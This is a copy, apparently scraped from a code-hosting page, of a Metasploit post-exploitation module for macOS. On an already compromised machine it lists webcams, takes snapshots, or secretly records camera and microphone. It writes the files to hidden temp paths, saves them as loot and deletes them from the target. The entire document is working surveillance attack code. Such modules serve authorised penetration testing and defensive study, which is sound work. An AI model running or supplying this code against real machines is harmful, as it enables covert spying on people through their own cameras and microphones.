Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/manage/webcam.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'shellwords'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Auxiliary::Report10include Msf::Post::OSX::RubyDL1112POLL_TIMEOUT = 1201314def initialize(info = {})15super(16update_info(17info,18'Name' => 'OSX Manage Webcam',19'Description' => %q{20This module will allow the user to detect installed webcams (with21the LIST action), take a snapshot (with the SNAPSHOT action), or22record a webcam and mic (with the RECORD action)23},24'License' => MSF_LICENSE,25'Author' => [ 'joev'],26'Platform' => [ 'osx'],27'SessionTypes' => [ 'shell' ],28'Actions' => [29[ 'LIST', { 'Description' => 'Show a list of webcams' } ],30[ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ],31[ 'RECORD', { 'Description' => 'Record with the webcam' } ]32],33'DefaultAction' => 'LIST'34)35)3637register_options(38[39OptInt.new('CAMERA_INDEX', [true, 'The index of the webcam to use. `set ACTION LIST` to get a list.', 0]),40OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),41OptString.new('JPG_QUALITY', [false, 'The compression factor for snapshotting a jpg (from 0 to 1)', '0.8']),42OptString.new('TMP_FILE',43[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']),44OptBool.new('AUDIO_ENABLED', [false, 'Enable audio when recording', true]),45OptString.new('AUDIO_COMPRESSION',46[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']),47OptString.new('VIDEO_COMPRESSION',48[true, 'Compression type to use for video', 'QTCompressionOptionsSD480SizeH264Video']),49OptEnum.new('SNAP_FILETYPE',50[true, 'File format to use when saving a snapshot', 'png', %w[jpg png gif tiff bmp]]),51OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),52OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])53]54)55end5657def run58fail_with(Failure::BadConfig, 'Invalid session ID selected.') if client.nil?59fail_with(Failure::BadConfig, 'Invalid action') if action.nil?6061num_chunks = (datastore['RECORD_LEN'].to_f / datastore['SYNC_WAIT'].to_f).ceil62tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) + '1' }63ruby_cmd = osx_capture_media(64action: action.name.downcase,65snap_filetype: datastore['SNAP_FILETYPE'],66audio_enabled: datastore['AUDIO_ENABLED'],67video_enabled: true,68num_chunks: num_chunks,69chunk_len: datastore['SYNC_WAIT'],70video_device: datastore['CAMERA_INDEX'],71audio_device: datastore['MIC_INDEX'],72snap_jpg_compression: datastore['JPG_QUALITY'].to_f,73video_compression: datastore['VIDEO_COMPRESSION'],74audio_compression: datastore['AUDIO_COMPRESSION'],75record_file: tmp_file,76snap_file: tmp_file + datastore['SNAP_FILETYPE']77)7879output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)80if action.name =~ /list/i81print_good output82elsif action.name =~ /record/i83@pid = output.to_i84print_status "Running record service with PID #{@pid}"85(0...num_chunks).each do |i|86# wait SYNC_WAIT seconds87print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"88Rex.sleep(datastore['SYNC_WAIT'])89# start reading for file90begin91::Timeout.timeout(poll_timeout) do92loop do93if File.exist?(tmp_file)94# read file95contents = File.read(tmp_file)96# delete file97rm_f(tmp_file)98# roll filename99base = File.basename(tmp_file, '.*') # returns it with no extension100num = ((base.match(/\d+$/) || ['0'])[0].to_i + 1).to_s101ext = File.extname(tmp_file) || 'o'102tmp_file = File.join(File.dirname(tmp_file), base + num + '.' + ext)103# store contents in file104title = 'OSX Webcam Recording ' + i.to_s105f = store_loot(title, 'video/mov', session, contents,106"osx_webcam_rec#{i}.mov", title)107print_good "Record file captured and saved to #{f}"108print_status 'Rolling movie file. '109break110else111Rex.sleep(0.3)112end113end114end115rescue ::Timeout::Error116fail_with(Failure::TimeoutExpired, 'Client did not respond to new file request, exiting.')117end118end119elsif action.name =~ /snap/i120if output.include?('(RuntimeError)')121print_error output122return123end124125snap_type = datastore['SNAP_FILETYPE']126img = read_file(tmp_file + snap_type)127f = store_loot('OSX Webcam Snapshot', "image/#{snap_type}",128session, img, "osx_webcam_snapshot.#{snap_type}", 'OSX Webcam Snapshot')129print_good "Snapshot successfully taken and saved to #{f}"130end131end132133def cleanup134return unless @cleaning_up.nil?135136@cleaning_up = true137138if action.name =~ (/record/i) && !@pid.nil?139print_status('Killing record service...')140cmd_exec("/bin/kill -9 #{@pid}")141end142end143144private145146def poll_timeout147POLL_TIMEOUT148end149end150151152